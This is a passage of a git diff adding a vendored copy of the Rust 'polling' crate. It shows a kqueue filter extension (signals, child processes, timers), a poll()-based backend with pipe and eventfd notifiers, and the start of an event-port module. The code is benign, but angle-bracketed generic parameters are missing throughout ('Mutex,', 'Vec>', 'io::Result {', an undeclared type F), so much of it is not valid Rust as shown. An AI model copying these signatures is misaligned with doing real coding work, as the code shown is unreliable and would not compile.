EVFILT_AIO, EVFILT_VNODE and EVFILT_USER. However, the current +// API makes it difficult to effectively express events from these filters. At the next breaking +// change, we should change `Event` to be a struct with private fields, and encode additional +// information in there. + +/// Functionality that is only available for `kqueue`-based platforms. +/// +/// `kqueue` is able to monitor much more than just read/write readiness on file descriptors. Using +/// this extension trait, you can monitor for signals, process exits, and more. See the implementors +/// of the [`Filter`] trait for more information. +pub trait PollerKqueueExt: PollerSealed { + /// Add a filter to the poller. + /// + /// This is similar to [`add`][Poller::add], but it allows you to specify a filter instead of + /// a socket. See the implementors of the [`Filter`] trait for more information. + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Events, Poller, PollMode}; + /// use polling::os::kqueue::{Filter, PollerKqueueExt, Signal}; + /// + /// let poller = Poller::new().unwrap(); + /// + /// // Register the SIGINT signal. + /// poller.add_filter(Signal(rustix::process::Signal::INT.as_raw()), 0, PollMode::Oneshot).unwrap(); + /// + /// // Wait for the signal. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// # let _ = events; + /// ``` + fn add_filter(&self, filter: F, key: usize, mode: PollMode) -> io::Result<()>; + + /// Modify a filter in the poller. + /// + /// This is similar to [`modify`][Poller::modify], but it allows you to specify a filter + /// instead of a socket. See the implementors of the [`Filter`] trait for more information. + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Events, Poller, PollMode}; + /// use polling::os::kqueue::{Filter, PollerKqueueExt, Signal}; + /// + /// let poller = Poller::new().unwrap(); + /// + /// // Register the SIGINT signal. + /// poller.add_filter(Signal(rustix::process::Signal::INT.as_raw()), 0, PollMode::Oneshot).unwrap(); + /// + /// // Re-register with a different key. + /// poller.modify_filter(Signal(rustix::process::Signal::INT.as_raw()), 1, PollMode::Oneshot).unwrap(); + /// + /// // Wait for the signal. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// # let _ = events; + /// ``` + fn modify_filter(&self, filter: F, key: usize, mode: PollMode) -> io::Result<()>; + + /// Remove a filter from the poller. + /// + /// This is used to remove filters that were previously added with + /// [`add_filter`](PollerKqueueExt::add_filter). + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Poller, PollMode}; + /// use polling::os::kqueue::{Filter, PollerKqueueExt, Signal}; + /// + /// let poller = Poller::new().unwrap(); + /// + /// // Register the SIGINT signal. + /// poller.add_filter(Signal(rustix::process::Signal::INT.as_raw()), 0, PollMode::Oneshot).unwrap(); + /// + /// // Remove the filter. + /// poller.delete_filter(Signal(rustix::process::Signal::INT.as_raw())).unwrap(); + /// ``` + fn delete_filter(&self, filter: F) -> io::Result<()>; +} + +impl PollerKqueueExt for Poller { + #[inline(always)] + fn add_filter(&self, filter: F, key: usize, mode: PollMode) -> io::Result<()> { + // No difference between adding and modifying in kqueue. + self.poller.add_source(filter.source_id())?; + self.modify_filter(filter, key, mode) + } + + fn modify_filter(&self, filter: F, key: usize, mode: PollMode) -> io::Result<()> { + self.poller.has_source(filter.source_id())?; + + // Convert the filter into a kevent. + let event = filter.filter(kqueue::EventFlags::ADD | mode_to_flags(mode), key); + + // Modify the filter. + self.poller.submit_changes([event]) + } + + fn delete_filter(&self, filter: F) -> io::Result<()> { + // Convert the filter into a kevent. + let event = filter.filter(kqueue::EventFlags::DELETE, 0); + + // Delete the filter. + self.poller.submit_changes([event])?; + + self.poller.remove_source(filter.source_id()) + } +} + +/// A filter that can be registered into a `kqueue`. +pub trait Filter: FilterSealed {} + +unsafe impl FilterSealed for &T { + #[inline(always)] + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event { + (**self).filter(flags, key) + } + + #[inline(always)] + fn source_id(&self) -> SourceId { + (**self).source_id() + } +} + +impl Filter for &T {} + +/// Monitor this signal number. +/// +/// No matter what `PollMode` is specified, this filter will always be +/// oneshot-only. +#[derive(Debug, Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub struct Signal(pub std::os::raw::c_int); + +unsafe impl FilterSealed for Signal { + #[inline(always)] + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event { + kqueue::Event::new( + kqueue::EventFilter::Signal { + signal: rustix::process::Signal::from_named_raw(self.0) + .expect("invalid signal number"), + times: 0, + }, + flags | kqueue::EventFlags::RECEIPT, + key as _, + ) + } + + #[inline(always)] + fn source_id(&self) -> SourceId { + SourceId::Signal(self.0) + } +} + +impl Filter for Signal {} + +/// Monitor a child process. +#[derive(Debug)] +pub struct Process<'a> { + /// The process ID to monitor. + pid: rustix::process::Pid, + + /// The operation to monitor. + ops: ProcessOps, + + /// Lifetime of the underlying process. + _lt: PhantomData<&'a Child>, +} + +/// The operations that a monitored process can perform. +#[derive(Debug, Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +#[non_exhaustive] +pub enum ProcessOps { + /// The process exited. + Exit, + + /// The process was forked. + Fork, + + /// The process executed a new process. + Exec, +} + +impl<'a> Process<'a> { + /// Monitor a child process. + /// + /// # Safety + /// + /// Once registered into the `Poller`, the `Child` object must outlive this filter's + /// registration into the poller. + pub unsafe fn new(child: &'a Child, ops: ProcessOps) -> Self { + Self { + pid: rustix::process::Pid::from_child(child), + ops, + _lt: PhantomData, + } + } + + /// Create a `Process` from a PID. + /// + /// # Safety + /// + /// The PID must be tied to an actual child process. + pub unsafe fn from_pid(pid: std::num::NonZeroI32, ops: ProcessOps) -> Self { + Self { + pid: unsafe { rustix::process::Pid::from_raw_unchecked(pid.get()) }, + ops, + _lt: PhantomData, + } + } +} + +unsafe impl FilterSealed for Process<'_> { + #[inline(always)] + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event { + let events = match self.ops { + ProcessOps::Exit => kqueue::ProcessEvents::EXIT, + ProcessOps::Fork => kqueue::ProcessEvents::FORK, + ProcessOps::Exec => kqueue::ProcessEvents::EXEC, + }; + + kqueue::Event::new( + kqueue::EventFilter::Proc { + // SAFETY: We know that the PID is nonzero. + pid: self.pid, + flags: events, + }, + flags | kqueue::EventFlags::RECEIPT, + key as _, + ) + } + + #[inline(always)] + fn source_id(&self) -> SourceId { + // SAFETY: We know that the PID is nonzero + SourceId::Pid(self.pid) + } +} + +impl Filter for Process<'_> {} + +/// Wait for a timeout to expire. +/// +/// Modifying the timeout after it has been added to the poller will reset it. +#[derive(Debug, Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub struct Timer { + /// Identifier for the timer. + pub id: usize, + + /// The timeout to wait for. + pub timeout: Duration, +} + +unsafe impl FilterSealed for Timer { + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event { + kqueue::Event::new( + kqueue::EventFilter::Timer { + ident: self.id as _, + timer: Some(self.timeout), + }, + flags | kqueue::EventFlags::RECEIPT, + key as _, + ) + } + + #[inline(always)] + fn source_id(&self) -> SourceId { + SourceId::Timer(self.id) + } +} + +impl Filter for Timer {} + +mod __private { + use crate::sys::SourceId; + use rustix::event::kqueue; + + #[doc(hidden)] + pub unsafe trait FilterSealed { + /// Get the filter for the given event. + /// + /// This filter's flags must have `EV_RECEIPT`. + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event; + + /// Get the source ID for this source. + fn source_id(&self) -> SourceId; + } +} diff --git a/lib/malio/polling/src/poll.rs b/lib/malio/polling/src/poll.rs new file mode 100644 index 0000000..1ba382a --- /dev/null +++ b/lib/malio/polling/src/poll.rs @@ -0,0 +1,857 @@ +//! Bindings to poll (VxWorks, Fuchsia, other Unix systems). + +use std::collections::HashMap; +use std::io; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::sync::{Condvar, Mutex}; +use std::time::Instant; + +#[cfg(not(target_os = "hermit"))] +use rustix::fd::{AsFd, AsRawFd, BorrowedFd}; +#[cfg(target_os = "hermit")] +use std::os::hermit::io::{AsFd, AsRawFd, BorrowedFd}; + +use syscall::{poll, PollFd, PollFlags}; + +// std::os::unix doesn't exist on Fuchsia +type RawFd = std::os::raw::c_int; + +use crate::{Event, PollMode}; + +/// Interface to poll. +#[derive(Debug)] +pub struct Poller { + /// File descriptors to poll. + fds: Mutex, + /// Notification pipe for waking up the poller. + /// + /// On all platforms except ESP IDF, the `pipe` syscall is used. + /// On ESP IDF, the `eventfd` syscall is used instead. + notify: notify::Notify, + /// The number of operations (`add`, `modify` or `delete`) that are currently waiting on the + /// mutex to become free. When this is nonzero, `wait` must be suspended until it reaches zero + /// again. + waiting_operations: AtomicUsize, + /// Whether `wait` has been notified by the user. + notified: AtomicBool, + /// The condition variable that gets notified when `waiting_operations` reaches zero or + /// `notified` becomes true. + /// + /// This is used with the `fds` mutex. + operations_complete: Condvar, +} + +/// The file descriptors to poll in a `Poller`. +#[derive(Debug)] +struct Fds { + /// The list of `pollfds` taken by poll. + /// + /// The first file descriptor is always present and is used to notify the poller. It is also + /// stored in `notify_read`. + poll_fds: Vec>, + /// The map of each file descriptor to data associated with it. This does not include the file + /// descriptors `notify_read` or `notify_write`. + fd_data: HashMap, +} + +/// Data associated with a file descriptor in a poller. +#[derive(Debug)] +struct FdData { + /// The index into `poll_fds` this file descriptor is. + poll_fds_index: usize, + /// The key of the `Event` associated with this file descriptor. + key: usize, + /// Whether to remove this file descriptor from the poller on the next call to `wait`. + remove: bool, +} + +impl Poller { + /// Creates a new poller. + pub fn new() -> io::Result { + let notify = notify::Notify::new()?; + + #[cfg(feature = "tracing")] + tracing::trace!(?notify, "new"); + + Ok(Self { + fds: Mutex::new(Fds { + poll_fds: vec![PollFd::from_borrowed_fd( + // SAFETY: `notify.fd()` will remain valid until we drop `self`. + unsafe { BorrowedFd::borrow_raw(notify.fd().as_raw_fd()) }, + notify.poll_flags(), + )], + fd_data: HashMap::new(), + }), + notify, + waiting_operations: AtomicUsize::new(0), + operations_complete: Condvar::new(), + notified: AtomicBool::new(false), + }) + } + + /// Whether this poller supports level-triggered events. + pub fn supports_level(&self) -> bool { + true + } + + /// Whether the poller supports edge-triggered events. + pub fn supports_edge(&self) -> bool { + false + } + + /// Adds a new file descriptor. + pub fn add(&self, fd: RawFd, ev: Event, mode: PollMode) -> io::Result<()> { + if self.notify.has_fd(fd) { + return Err(io::Error::from(io::ErrorKind::InvalidInput)); + } + + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "add", + notify_read = ?self.notify.fd().as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.modify_fds(|fds| { + if fds.fd_data.contains_key(&fd) { + return Err(io::Error::from(io::ErrorKind::AlreadyExists)); + } + + let poll_fds_index = fds.poll_fds.len(); + fds.fd_data.insert( + fd, + FdData { + poll_fds_index, + key: ev.key, + remove: cvt_mode_as_remove(mode)?, + }, + ); + + fds.poll_fds.push(PollFd::from_borrowed_fd( + // SAFETY: Until we have I/O safety, assume that `fd` is valid forever. + unsafe { BorrowedFd::borrow_raw(fd) }, + poll_events(ev), + )); + + Ok(()) + }) + } + + /// Modifies an existing file descriptor. + pub fn modify(&self, fd: BorrowedFd<'_>, ev: Event, mode: PollMode) -> io::Result<()> { + if self.notify.has_fd(fd.as_raw_fd()) { + return Err(io::Error::from(io::ErrorKind::InvalidInput)); + } + + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "modify", + notify_read = ?self.notify.fd().as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.modify_fds(|fds| { + let data = fds + .fd_data + .get_mut(&fd.as_raw_fd()) + .ok_or(io::ErrorKind::NotFound)?; + data.key = ev.key; + let poll_fds_index = data.poll_fds_index; + + // SAFETY: This is essentially transmuting a `PollFd<'a>` to a `PollFd<'static>`, which + // only works if it's removed in time with `delete()`. + fds.poll_fds[poll_fds_index] = PollFd::from_borrowed_fd( + unsafe { BorrowedFd::borrow_raw(fd.as_raw_fd()) }, + poll_events(ev), + ); + data.remove = cvt_mode_as_remove(mode)?; + + Ok(()) + }) + } + + /// Deletes a file descriptor. + pub fn delete(&self, fd: BorrowedFd<'_>) -> io::Result<()> { + if self.notify.has_fd(fd.as_raw_fd()) { + return Err(io::Error::from(io::ErrorKind::InvalidInput)); + } + + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "delete", + notify_read = ?self.notify.fd().as_raw_fd(), + ?fd, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.modify_fds(|fds| { + let data = fds + .fd_data + .remove(&fd.as_raw_fd()) + .ok_or(io::ErrorKind::NotFound)?; + fds.poll_fds.swap_remove(data.poll_fds_index); + if let Some(swapped_pollfd) = fds.poll_fds.get(data.poll_fds_index) { + fds.fd_data + .get_mut(&swapped_pollfd.as_fd().as_raw_fd()) + .unwrap() + .poll_fds_index = data.poll_fds_index; + } + + Ok(()) + }) + } + + /// Waits for I/O events with an optional deadline. + pub fn wait_deadline(&self, events: &mut Events, deadline: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + notify_read = ?self.notify.fd().as_raw_fd(), + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut fds = self.fds.lock().unwrap(); + + loop { + // Complete all current operations. + loop { + if self.notified.swap(false, Ordering::SeqCst) { + // `notify` will have sent a notification in case we were polling. We weren't, + // so remove it. + return self.notify.pop_notification(); + } else if self.waiting_operations.load(Ordering::SeqCst) == 0 { + break; + } + + fds = self.operations_complete.wait(fds).unwrap(); + } + + let timeout = + deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + + // Perform the poll. + let num_events = poll(&mut fds.poll_fds, timeout)?; + let notified = !fds.poll_fds[0].revents().is_empty(); + let num_fd_events = if notified { num_events - 1 } else { num_events }; + #[cfg(feature = "tracing")] + tracing::trace!(?num_events, ?notified, ?num_fd_events, "new events",); + + // Read all notifications. + if notified { + self.notify.pop_all_notifications()?; + } + + // If the only event that occurred during polling was notification and it wasn't to + // exit, another thread is trying to perform an operation on the fds. Continue the + // loop. + if !self.notified.swap(false, Ordering::SeqCst) && num_fd_events == 0 && notified { + continue; + } + + // Store the events if there were any. + if num_fd_events > 0 { + let fds = &mut *fds; + + events.inner.reserve(num_fd_events); + for fd_data in fds.fd_data.values_mut() { + let poll_fd = &mut fds.poll_fds[fd_data.poll_fds_index]; + if !poll_fd.revents().is_empty() { + // Store event + let revents = poll_fd.revents(); + events.inner.push(Event { + key: fd_data.key, + readable: revents.intersects(read_events()), + writable: revents.intersects(write_events()), + extra: EventExtra { flags: revents }, + }); + // Remove interest if necessary + if fd_data.remove { + *poll_fd = PollFd::from_borrowed_fd( + unsafe { BorrowedFd::borrow_raw(poll_fd.as_fd().as_raw_fd()) }, + PollFlags::empty(), + ); + } + + if events.inner.len() == num_fd_events { + break; + } + } + } + } + + break; + } + + Ok(()) + } + + /// Sends a notification to wake up the current or next `wait()` call. + pub fn notify(&self) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "notify", + notify_read = ?self.notify.fd().as_raw_fd(), + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + if !self.notified.swap(true, Ordering::SeqCst) { + self.notify.notify()?; + self.operations_complete.notify_one(); + } + + Ok(()) + } + + /// Perform a modification on `fds`, interrupting the current caller of `wait` if it's running. + fn modify_fds(&self, f: impl FnOnce(&mut Fds) -> io::Result<()>) -> io::Result<()> { + self.waiting_operations.fetch_add(1, Ordering::SeqCst); + + // Wake up the current caller of `wait` if there is one. + let sent_notification = self.notify.notify().is_ok(); + + let mut fds = self.fds.lock().unwrap(); + + // If there was no caller of `wait` our notification was not removed from the pipe. + if sent_notification { + let _ = self.notify.pop_notification(); + } + + let res = f(&mut fds); + + if self.waiting_operations.fetch_sub(1, Ordering::SeqCst) == 1 { + self.operations_complete.notify_one(); + } + + res + } +} + +/// Get the input poll events for the given event. +fn poll_events(ev: Event) -> PollFlags { + (if ev.readable { + PollFlags::IN | PollFlags::PRI + } else { + PollFlags::empty() + }) | (if ev.writable { + PollFlags::OUT | PollFlags::WRBAND + } else { + PollFlags::empty() + }) +} + +/// Returned poll events for reading. +fn read_events() -> PollFlags { + PollFlags::IN | PollFlags::PRI | PollFlags::HUP | PollFlags::ERR +} + +/// Returned poll events for writing. +fn write_events() -> PollFlags { + PollFlags::OUT | PollFlags::WRBAND | PollFlags::HUP | PollFlags::ERR +} + +/// A list of reported I/O events. +pub struct Events { + inner: Vec, +} + +impl Events { + /// Creates an empty list. + pub fn with_capacity(cap: usize) -> Events { + Self { + inner: Vec::with_capacity(cap), + } + } + + /// Iterates over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + self.inner.iter().copied() + } + + /// Clear the list. + pub fn clear(&mut self) { + self.inner.clear(); + } + + /// Get the capacity of the list. + pub fn capacity(&self) -> usize { + self.inner.capacity() + } +} + +/// Extra information associated with an event. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +pub struct EventExtra { + /// Flags associated with this event. + flags: PollFlags, +} + +impl EventExtra { + /// Creates an empty set of extra information. + #[inline] + pub const fn empty() -> Self { + Self { + flags: PollFlags::empty(), + } + } + + /// Set the interrupt flag. + #[inline] + pub fn set_hup(&mut self, value: bool) { + self.flags.set(PollFlags::HUP, value); + } + + /// Set the priority flag. + #[inline] + pub fn set_pri(&mut self, value: bool) { + self.flags.set(PollFlags::PRI, value); + } + + /// Is this an interrupt event? + #[inline] + pub fn is_hup(&self) -> bool { + self.flags.contains(PollFlags::HUP) + } + + /// Is this a priority event? + #[inline] + pub fn is_pri(&self) -> bool { + self.flags.contains(PollFlags::PRI) + } + + #[inline] + pub fn is_connect_failed(&self) -> Option { + Some(self.flags.contains(PollFlags::ERR) || self.flags.contains(PollFlags::HUP)) + } + + #[inline] + pub fn is_err(&self) -> Option { + Some(self.flags.contains(PollFlags::ERR)) + } +} + +fn cvt_mode_as_remove(mode: PollMode) -> io::Result { + match mode { + PollMode::Oneshot => Ok(true), + PollMode::Level => Ok(false), + _ => Err(crate::unsupported_error( + "edge-triggered I/O events are not supported in poll()", + )), + } +} + +#[cfg(unix)] +mod syscall { + pub(super) use rustix::event::{PollFd, PollFlags}; + + pub(super) use rustix::event::Timespec; + #[cfg(target_os = "espidf")] + pub(super) use rustix::event::{eventfd, EventfdFlags}; + #[cfg(target_os = "espidf")] + pub(super) use rustix::fd::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; + #[cfg(target_os = "espidf")] + pub(super) use rustix::io::{read, write}; + use std::io; + use std::time::Duration; + + /// Safe wrapper around the `poll` system call. + pub(super) fn poll(fds: &mut [PollFd<'_>], timeout: Option) -> io::Result { + // Timeout for `poll`. In case of overflow, use no timeout. + let timeout = match timeout { + Some(timeout) => Timespec::try_from(timeout).ok(), + None => None, + }; + + Ok(rustix::event::poll(fds, timeout.as_ref())?) + } +} + +#[cfg(target_os = "hermit")] +mod syscall { + // TODO: Remove this shim once HermitOS is supported in Rustix. + + use std::fmt; + use std::io; + use std::marker::PhantomData; + use std::ops::BitOr; + use std::time::Duration; + + pub(super) use std::os::hermit::io::{AsFd, AsRawFd, BorrowedFd, FromRawFd, OwnedFd, RawFd}; + + /// Create an eventfd. + pub(super) fn eventfd(count: u64, _flags: EventfdFlags) -> io::Result { + let fd = unsafe { hermit_abi::eventfd(count, 0) }; + + if fd < 0 { + Err(io::Error::from_raw_os_error(unsafe { + hermit_abi::get_errno() + })) + } else { + Ok(unsafe { OwnedFd::from_raw_fd(fd) }) + } + } + + /// Read some bytes. + pub(super) fn read(fd: BorrowedFd<'_>, bytes: &mut [u8]) -> io::Result { + let count = unsafe { hermit_abi::read(fd.as_raw_fd(), bytes.as_mut_ptr(), bytes.len()) }; + + cvt(count) + } + + /// Write some bytes. + pub(super) fn write(fd: BorrowedFd<'_>, bytes: &[u8]) -> io::Result { + let count = unsafe { hermit_abi::write(fd.as_raw_fd(), bytes.as_ptr(), bytes.len()) }; + + cvt(count) + } + + /// Safe wrapper around the `poll` system call. + pub(super) fn poll(fds: &mut [PollFd<'_>], timeout: Option) -> io::Result { + // Timeout in milliseconds for epoll. In case of overflow, use no timeout. + let mut timeout_ms = -1; + if let Some(t) = timeout { + if let Ok(ms) = i32::try_from(t.as_millis()) { + // Round up to a whole millisecond. + if Duration::from_millis(ms as u64) < t { + if let Some(ms) = ms.checked_add(1) { + timeout_ms = ms; + } + } else { + timeout_ms = ms; + } + } + } + + let call = unsafe { + hermit_abi::poll( + fds.as_mut_ptr() as *mut hermit_abi::pollfd, + fds.len(), + timeout_ms, + ) + }; + + cvt(call as isize) + } + + /// Safe wrapper around `pollfd`. + #[repr(transparent)] + pub(super) struct PollFd<'a> { + inner: hermit_abi::pollfd, + _lt: PhantomData>, + } + + impl<'a> PollFd<'a> { + pub(super) fn from_borrowed_fd(fd: BorrowedFd<'a>, inflags: PollFlags) -> Self { + Self { + inner: hermit_abi::pollfd { + fd: fd.as_raw_fd(), + events: inflags.0, + revents: 0, + }, + _lt: PhantomData, + } + } + + pub(super) fn revents(&self) -> PollFlags { + PollFlags(self.inner.revents) + } + } + + impl AsFd for PollFd<'_> { + fn as_fd(&self) -> BorrowedFd<'_> { + unsafe { BorrowedFd::borrow_raw(self.inner.fd) } + } + } + + impl fmt::Debug for PollFd<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("PollFd") + .field("fd", &format_args!("0x{:x}", self.inner.fd)) + .field("events", &PollFlags(self.inner.events)) + .field("revents", &PollFlags(self.inner.revents)) + .finish() + } + } + + /// Wrapper around polling flags. + #[derive(Debug, Copy, Clone, PartialEq, Eq)] + pub(super) struct PollFlags(i16); + + impl PollFlags { + /// Empty set of flags. + pub(super) const fn empty() -> Self { + Self(0) + } + + pub(super) const IN: PollFlags = PollFlags(hermit_abi::POLLIN); + pub(super) const OUT: PollFlags = PollFlags(hermit_abi::POLLOUT); + pub(super) const WRBAND: PollFlags = PollFlags(hermit_abi::POLLWRBAND); + pub(super) const ERR: PollFlags = PollFlags(hermit_abi::POLLERR); + pub(super) const HUP: PollFlags = PollFlags(hermit_abi::POLLHUP); + pub(super) const PRI: PollFlags = PollFlags(hermit_abi::POLLPRI); + + /// Tell if this contains some flags. + pub(super) fn contains(self, flags: PollFlags) -> bool { + self.0 & flags.0 != 0 + } + + /// Set a flag. + pub(super) fn set(&mut self, flags: PollFlags, set: bool) { + if set { + self.0 |= flags.0; + } else { + self.0 &= !(flags.0); + } + } + + /// Tell if this is empty. + pub(super) fn is_empty(self) -> bool { + self.0 == 0 + } + + /// Tell if this intersects with some flags. + pub(super) fn intersects(self, flags: PollFlags) -> bool { + self.contains(flags) + } + } + + impl BitOr for PollFlags { + type Output = PollFlags; + + fn bitor(self, rhs: Self) -> Self::Output { + Self(self.0 | rhs.0) + } + } + + #[derive(Debug, Copy, Clone)] + pub(super) struct EventfdFlags; + + impl EventfdFlags { + pub(super) fn empty() -> Self { + Self + } + } + + /// Convert a number to an actual result. + #[inline] + fn cvt(len: isize) -> io::Result { + if len < 0 { + Err(io::Error::from_raw_os_error(unsafe { + hermit_abi::get_errno() + })) + } else { + Ok(len as usize) + } + } +} + +#[cfg(not(any(target_os = "espidf", target_os = "hermit")))] +mod notify { + use std::io; + + use rustix::event::PollFlags; + use rustix::fd::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; + use rustix::fs::{fcntl_getfl, fcntl_setfl, OFlags}; + use rustix::io::{fcntl_getfd, fcntl_setfd, read, write, FdFlags}; + #[cfg(not(any(target_os = "haiku", target_os = "nto")))] + use rustix::pipe::pipe_with; + use rustix::pipe::{pipe, PipeFlags}; + + /// A notification pipe. + /// + /// This implementation uses a pipe to send notifications. + #[derive(Debug)] + pub(super) struct Notify { + /// The file descriptor of the read half of the notify pipe. This is also stored as the first + /// file descriptor in `fds.poll_fds`. + read_pipe: OwnedFd, + /// The file descriptor of the write half of the notify pipe. + /// + /// Data is written to this to wake up the current instance of `Poller::wait`, which can occur when the + /// user notifies it (in which case `Poller::notified` would have been set) or when an operation needs + /// to occur (in which case `Poller::waiting_operations` would have been incremented). + write_pipe: OwnedFd, + } + + impl Notify { + /// Creates a new notification pipe. + pub(super) fn new() -> io::Result { + let fallback_pipe = |_| { + let (read_pipe, write_pipe) = pipe()?; + fcntl_setfd(&read_pipe, fcntl_getfd(&read_pipe)? | FdFlags::CLOEXEC)?; + fcntl_setfd(&write_pipe, fcntl_getfd(&write_pipe)? | FdFlags::CLOEXEC)?; + io::Result::Ok((read_pipe, write_pipe)) + }; + + #[cfg(not(any(target_os = "haiku", target_os = "nto")))] + let (read_pipe, write_pipe) = pipe_with(PipeFlags::CLOEXEC).or_else(fallback_pipe)?; + + #[cfg(any(target_os = "haiku", target_os = "nto"))] + let (read_pipe, write_pipe) = fallback_pipe(PipeFlags::CLOEXEC)?; + + // Put the reading side into non-blocking mode. + fcntl_setfl(&read_pipe, fcntl_getfl(&read_pipe)? | OFlags::NONBLOCK)?; + + Ok(Self { + read_pipe, + write_pipe, + }) + } + + /// Provides the file handle of the read half of the notify pipe that needs to be registered by the `Poller`. + pub(super) fn fd(&self) -> BorrowedFd<'_> { + self.read_pipe.as_fd() + } + + /// Provides the poll flags to be used when registering the read half of the notify pipe with the `Poller`. + pub(super) fn poll_flags(&self) -> PollFlags { + PollFlags::RDNORM + } + + /// Notifies the `Poller` instance via the write half of the notify pipe. + pub(super) fn notify(&self) -> Result<(), io::Error> { + write(&self.write_pipe, &[0; 1])?; + + Ok(()) + } + + /// Pops a notification (if any) from the pipe. + pub(super) fn pop_notification(&self) -> Result<(), io::Error> { + // Pipes on Vita do not guarantee that after `write` call succeeds, the + // data becomes immediately available for reading on the other side of the pipe. + // To ensure that the notification is not lost, the read side of the pipe is temporarily + // switched to blocking for a single `read` call. + #[cfg(target_os = "vita")] + rustix::fs::fcntl_setfl( + &self.read_pipe, + rustix::fs::fcntl_getfl(&self.read_pipe)? & !rustix::fs::OFlags::NONBLOCK, + )?; + + let result = read(&self.read_pipe, &mut [0; 1]); + + #[cfg(target_os = "vita")] + rustix::fs::fcntl_setfl( + &self.read_pipe, + rustix::fs::fcntl_getfl(&self.read_pipe)? | rustix::fs::OFlags::NONBLOCK, + )?; + + result?; + + Ok(()) + } + + /// Pops all notifications from the pipe. + pub(super) fn pop_all_notifications(&self) -> Result<(), io::Error> { + while read(&self.read_pipe, &mut [0; 64]).is_ok() {} + + Ok(()) + } + + /// Whether this raw file descriptor is associated with this notifier. + pub(super) fn has_fd(&self, fd: RawFd) -> bool { + self.read_pipe.as_raw_fd() == fd || self.write_pipe.as_raw_fd() == fd + } + } +} + +#[cfg(any(target_os = "espidf", target_os = "hermit"))] +mod notify { + use std::io; + use std::mem; + + use super::syscall::{ + eventfd, read, write, AsFd, AsRawFd, BorrowedFd, EventfdFlags, OwnedFd, PollFlags, RawFd, + }; + + /// A notification pipe. + /// + /// This implementation uses the `eventfd` syscall to send notifications. + #[derive(Debug)] + pub(super) struct Notify { + /// The file descriptor of the eventfd object. This is also stored as the first + /// file descriptor in `fds.poll_fds`. + /// + /// Data is written to this to wake up the current instance of `Poller::wait`, which can occur when the + /// user notifies it (in which case `Poller::notified` would have been set) or when an operation needs + /// to occur (in which case `Poller::waiting_operations` would have been incremented). + event_fd: OwnedFd, + } + + impl Notify { + /// Creates a new notification pipe. + pub(super) fn new() -> io::Result { + // Note that the eventfd() implementation in ESP-IDF deviates from the specification in the following ways: + // 1) The file descriptor is always in a non-blocking mode, as if EFD_NONBLOCK was passed as a flag; + // passing EFD_NONBLOCK or calling fcntl(.., F_GETFL/F_SETFL) on the eventfd() file descriptor is not supported + // 2) It always returns the counter value, even if it is 0. This is contrary to the specification which mandates + // that it should instead fail with EAGAIN + // + // (1) is not a problem for us, as we want the eventfd() file descriptor to be in a non-blocking mode anyway + // (2) is also not a problem, as long as we don't try to read the counter value in an endless loop when we detect being notified + + let flags = EventfdFlags::empty(); + let event_fd = eventfd(0, flags).map_err(|err| { + match io::Error::from(err) { + err if err.kind() == io::ErrorKind::PermissionDenied => { + // EPERM can happen if the eventfd isn't initialized yet. + // Tell the user to call esp_vfs_eventfd_register. + io::Error::new( + io::ErrorKind::PermissionDenied, + "failed to initialize eventfd for polling, try calling `esp_vfs_eventfd_register`" + ) + }, + err => err, + } + })?; + + Ok(Self { event_fd }) + } + + /// Provides the eventfd file handle that needs to be registered by the `Poller`. + pub(super) fn fd(&self) -> BorrowedFd<'_> { + self.event_fd.as_fd() + } + + /// Provides the eventfd file handle poll flags to be used when registering it with the `Poller`. + pub(super) fn poll_flags(&self) -> PollFlags { + PollFlags::IN + } + + /// Notifies the `Poller` instance via the eventfd file descriptor. + pub(super) fn notify(&self) -> Result<(), io::Error> { + write(self.event_fd.as_fd(), &1u64.to_ne_bytes())?; + + Ok(()) + } + + /// Pops a notification (if any) from the eventfd file descriptor. + pub(super) fn pop_notification(&self) -> Result<(), io::Error> { + read(self.event_fd.as_fd(), &mut [0; mem::size_of::()])?; + + Ok(()) + } + + /// Pops all notifications from the eventfd file descriptor. + /// Since the eventfd object accumulates all writes in a single 64 bit value, + /// this operation is - in fact - equivalent to `pop_notification`. + pub(super) fn pop_all_notifications(&self) -> Result<(), io::Error> { + let _ = self.pop_notification(); + + Ok(()) + } + + /// Whether this raw file descriptor is associated with this notifier. + pub(super) fn has_fd(&self, fd: RawFd) -> bool { + self.event_fd.as_raw_fd() == fd + } + } +} diff --git a/lib/malio/polling/src/port.rs b/lib/malio/polling/src/port.rs new file mode 100644 index 0000000..8f4f5a0 --- /dev/null +++ b/lib/malio/polling/src/port.rs @@ -0,0 +1,287 @@ +//! Bindings to event port (illumos, Solaris). + +use std::io; +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, RawFd}; +use 